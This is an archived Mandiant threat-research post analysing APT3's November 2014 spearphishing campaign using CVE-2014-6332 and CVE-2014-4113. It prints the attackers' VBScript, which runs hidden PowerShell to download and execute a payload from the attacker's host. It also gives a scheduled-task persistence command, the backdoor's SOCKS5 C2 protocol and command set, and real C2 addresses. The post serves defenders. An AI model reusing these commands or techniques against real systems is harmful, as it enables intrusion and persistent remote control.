Operation Double Tap | Mandiant

By Mandiant

Published: 2014-11-21 · Archived: 2026-04-05 14:31:17 UTC

Written by: Ned Moran, Mike Scott, Mike Oppenheim, Joshua Homan

---

APT3 (also known as UPS), the actors responsible for Operation Clandestine Fox has quietly continued to send waves of spearphishing messages over the past few months. This actor initiated their most recent campaign on November 19, 2014 targeting multiple organizations. The attacker leveraged multiple exploits, targeting both CVE-2014-6332 and CVE-2014-4113. CVE-2014-6332 was disclosed publicly on 2014-11-11 and is a Windows OLE Automation Array Remote Code Execution vulnerability. CVE-2014-4113 is a privilege escalation vulnerability that was disclosed publicly on 2014-10-14.

The use of CVE-2014-6332 is notable, as it demonstrates that multiple classes of actors, both criminal and APT alike, have now incorporated this exploit into their toolkits. Further, the use of both of these two known vulnerabilities in tandem is notable for APT3. This actor is historically known for leveraging zero-day vulnerabilities in widespread but infrequent phishing campaigns. The use of known exploits and more frequent attacks may indicate both a shift in strategy and operational tempo for this group.

The Spearphish

The body of the message is below:

One Month's Free Membership for The PLAYBOY ClUB 1080P HD VIDEOS 100,000 PHOTOS 4,000 MODELS Nude Celebrities,Playmates,Cybergirls & More! Click hxxp://join.playboysplus.com/signup/ To Get a Free Plus Member Now & Never Miss Another Update. Your Member referrals must remain active. If anyone getting "Promotion not available" for 1 month free membership, you might get the issue up to 48 hrs once your membership is expired and make sure to Clear out cookies or use another browser or use another PC.

The webpage contained both CVE-2014-6332 exploit code and a VBScript that invoked PowerShell on the affected users' system to download the below payload:

```
function runmumaa()

On Error Resume Next

set shell=createobject("Shell.Application")

shell.ShellExecute "powershell.exe","-NoLogo -NoProfile -NonInteractive -WindowStyle Hidden ( New-Object “System.Net.WebClient”).DownloadFile(“http://www.playboysplus.com /install/install.exe”,”install.exe”);Invoke-Item install.exe", "", "open", 1

end function
```

The CVE-2014-6332 exploit code seen in this incident is derived from the code published at http://www.exploit-db.com/exploits/35230/, which has also been incorporated in the Metasploit project.

The Downloader

After the exploit or script executes, the system downloads install.exe, which has the following metadata:

MD5 5a0c4e1925c76a959ab0588f683ab437

Size 46592 bytes

Compile Time 2014-11-19 08:55:10Z

Import Hash 6b8611f8148a6b51e37fd68e75b6a81c

The file install.exe attempts to write two files (doc.exe and test.exe) to the hard-coded path “C:\Users\Public”, which fails on Windows XP because that path is not present by default.

The first dropped file, doc.exe, contains the CVE-2014-4113 exploit and then attempts to execute test.exe with the elevated privileges. These files have the following metadata:

doc.exe (x86):

MD5 492a839a3bf9c61b7065589a18c5aa8d

Size 12288 bytes

Import Hash 9342d18e7d315117f23db7553d59a9d1

doc.exe (x64):

MD5 744a17a3bc6dbd535f568ef1e87d8b9a

Size 13824 bytes

Compile Time 2014-11-19 08:25:45Z

Import Hash 2fab77a3ff40e4f6d9b5b7e813c618e4

test.exe:

MD5 5c08957f05377004376e6a622406f9aa

Size 11264 bytes

Compile Time 2014-11-18 10:49:23Z

Import Hash f34d5f2d4577ed6d9ceec516c1f5a744

These payload files also have interesting PDB debug strings.

install.exe:

c:\Users\aa\Documents\Visual Studio 2008\Projects\MShell\Release \MShell.pdb

doc.exe:

c:\Users\aa\Documents\Visual Studio 2008\Projects\4113\Release \4113.pdb

test.exe:

C:\Users\aa\Documents\Visual Studio 2010\Projects\MyRat\Client\Client \obj\x86\Release\Client.pdb

The most interesting PDB string is the “4113.pdb,” which appears to reference CVE-2014-4113. This CVE is a local kernel vulnerability that, with successful exploitation, would give any user SYSTEM access on the machine.

The malware component, test.exe, uses the Windows command "cmd.exe" /C whoami” to verify it is running with the elevated privileges of “System” and creates persistence by creating the following scheduled task:

schtasks /create /tn "mysc" /tr C:\Users\Public\test.exe /sc ONLOGON /ru "System"

When executed, the malware first establishes a SOCKS5 connection to 192.157.198.103 using TCP port 1913. The malware sends the SOCKS5 connection request "05 01 00" and verifies the server response starts with "05 00". The malware then requests a connection to 192.184.60.229 on TCP port 81 using the command "05 01 00 01 c0 b8 3c e5 00 51" and verifies that the first two bytes from the server are "05 00" (c0 b8 3c e5 is the IP address and 00 51 is the port in network byte order).

Once the connection to the server is established, the malware expects a message containing at least three bytes from the server. These first three bytes are the command identifier. The following commands are supported by the malware:

Command ID	Description
00 00 00	Content after command ID is written to: C:\Users\[Username]\AppData\Local\Temp\notepad1.exe
00 00 01	Deletes the files: C:\Users\[Username]\AppData\Local\Temp\notepad.exe C:\Users\[Username]\AppData\Local\Temp\newnotepad.exe
00 00 02	Malware exits
00 00 03	Malware downloads the URL that follows the command ID. The file is saved to:

	C:\Users\[Username]\AppData\Local\Temp\notepad.exe
00 00 04	Content after command ID is written to: C:\Users\[Username]\AppData\Local\Temp\notepad2.exe
00 00 05	The files notepad1.exe and notepad2.exe are concatenated together and written to C:\Users\[Username]\AppData\Local\Temp\newnotepad.exe and executed
00 00 06	The contents of the following file is sent to the server: C:\Users\[Username]\AppData\Local\Temp\note.txt
00 00 07	The string following the command ID is executed using "cmd /C" and results are sent to server

Links to APT3

On October 28, we observed APT3 sending out spearphishing messages containing a compressed executable attachment. The deflated exe was a variant of the same downloader described above and connected to 198.55.115.71 over port 1913 via SOCKS5 proxy. The secondary payload in that case was detected as Backdoor.APT.CookieCutter (aka Pirpi) and also named newnotepad.exe (MD5 8849538ef1c3471640230605c2623c67) and connected to the known APT3 domains:

inform.bedircati[.]com

pn.lamb-site[.]com

210.109.99.64

The 192.184.60.229 IP address seen in this current campaign also hosts securitywap[.]com – another known domain referenced in our Operation Clandestine Fox blog.

DOMAIN	FIRST SEEN	LAST SEEN	IP ADDRESS
securitywap.com	2014-11-17	2014-11-20	192.184.60.229
www.securitywap.com	2014-11-17	2014-11-20	192.184.60.229

In addition, the join.playboysplus[.]com exploit and payload delivery site resolves to 104.151.248.173.

This IP has hosted other domains used by APT3 in past campaigns:

DOMAIN	FIRST SEEN	LAST SEEN	IP ADDRESS
join.playboysplus[.]com	2014-11-21	2014-11-21	104.151.248.173

walterclean[.]com	2014-11-18	2014-11-20	104.151.248.173
www.walterclean[.]com	2014-11-18	2014-11-20	104.151.248.173

As we discussed in our previous blog detailing previous APT3 activity, the walterclean[.]com served as a Plugx/Kaba command and control server.

Conclusion

Although APT3 is well known for employing zero-day exploits in their attacks, recent activity has demonstrated that they will also attack targets with known exploits or social engineering.

Since Operation Clandestine Fox, we have observed this actor execute multiple attacks that did not rely on zero-day exploits. **The combination of this sustained operational tempo and lack of zero-day exploits may indicate that this group has changed strategy and has decided to attack more frequently and does not have steady access to zero-day exploit code.** No matter the strategy, this actor has shown an ability to operate successfully.

Here's the IOCs for this threat.

Posted in

- Threat Intelligence
- Security & Identity

Source: https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html